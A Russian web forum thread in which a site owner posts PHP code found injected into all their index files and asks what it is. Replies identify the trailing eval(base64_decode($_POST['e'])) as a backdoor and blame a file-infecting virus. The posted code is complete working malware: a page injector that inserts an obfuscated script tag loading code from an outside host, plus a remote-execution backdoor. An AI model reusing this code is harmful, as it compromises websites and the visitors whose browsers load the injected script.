Что это?

Print RSS
251

Author
Оранжевые штаны
0
if(!function_exists('vi8')){function vi8($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:) ?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3ZpZW50aG9uZ2JpbmhkaW5oLmNvbS9TdGF0cy9pbmRleC5waHAgPjwvc2NyaXB0Pg=='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s,1);elseif(strpos($s,'<a'))$s=$a.$s;return$s;}function vi82($a,$b,$c,$d){global$vi81;$s=array();if(function_exists($vi81))call_user_func($vi81,$a,$b,$c,$d);foreach(@ob_get_status(1)as$v)if(($a=$v['name'])=='vi8')return;elseif($a=='ob_gzhandler')break;else$s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('vi8');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$vi8l=(($a=@set_error_handler('vi82'))!='vi82')?$a:0;eval(base64_decode($_POST['e']));
Changed: Иосиф Джугашвили (03.06.2010 / 01:26)
Author
Оранжевые штаны
0
Знающие люди подскажите что это??? нашел в индексах сайта этот код
Author
Оранжевые штаны
0
строка была закодированна в base64...я ее раскрыл

ツ ツ ツ
0
во всю эту кашу вникать не стал, а вот это eval(base64_decode($_POST['e'])); дырка
Author
Оранжевые штаны
0
4. .::lugaro::., Спасибо за подсказку....
Уж незнаю как так получилось но хочу сказать следущее)))
У меня стоил мотор 19,05 (голый без всяких там модулей) и вот этот код попал во все индексы сайта... что могло послужить причиной незнаю..
на всякий случай выложу данные сервера на котором я размещаюсь ... может для кого та послужит предостережением
http://atech-pro.Ru
(Это не хостинг,это человек выделил место на сервере под сайт)ник его на кенто skamsk
Changed: Иосиф Джугашвили (03.06.2010 / 01:42)

Оранжевые штаны
0
с кентами лучше не дружить smile
Author
Оранжевые штаны
0
Да я уж понял...
Author
Оранжевые штаны
0
хотя может и не он... просто так гнать не буду тока вот там мотор стоял... самая последняя версия.. сомневаюсь я что это мотор дырявый... хотя и такое может быть
Author
Оранжевые штаны
0
Удалено
Changed: Иосиф Джугашвили (03.06.2010 / 02:05)
А

Сказочник
0
Это не мотор. А вирус, который вставляет это в *.html *.php
Скорее проблема в хостинге. Или на твоем компьютере.
Stickers / Tags / Rules / Top topics / Top Posts / Search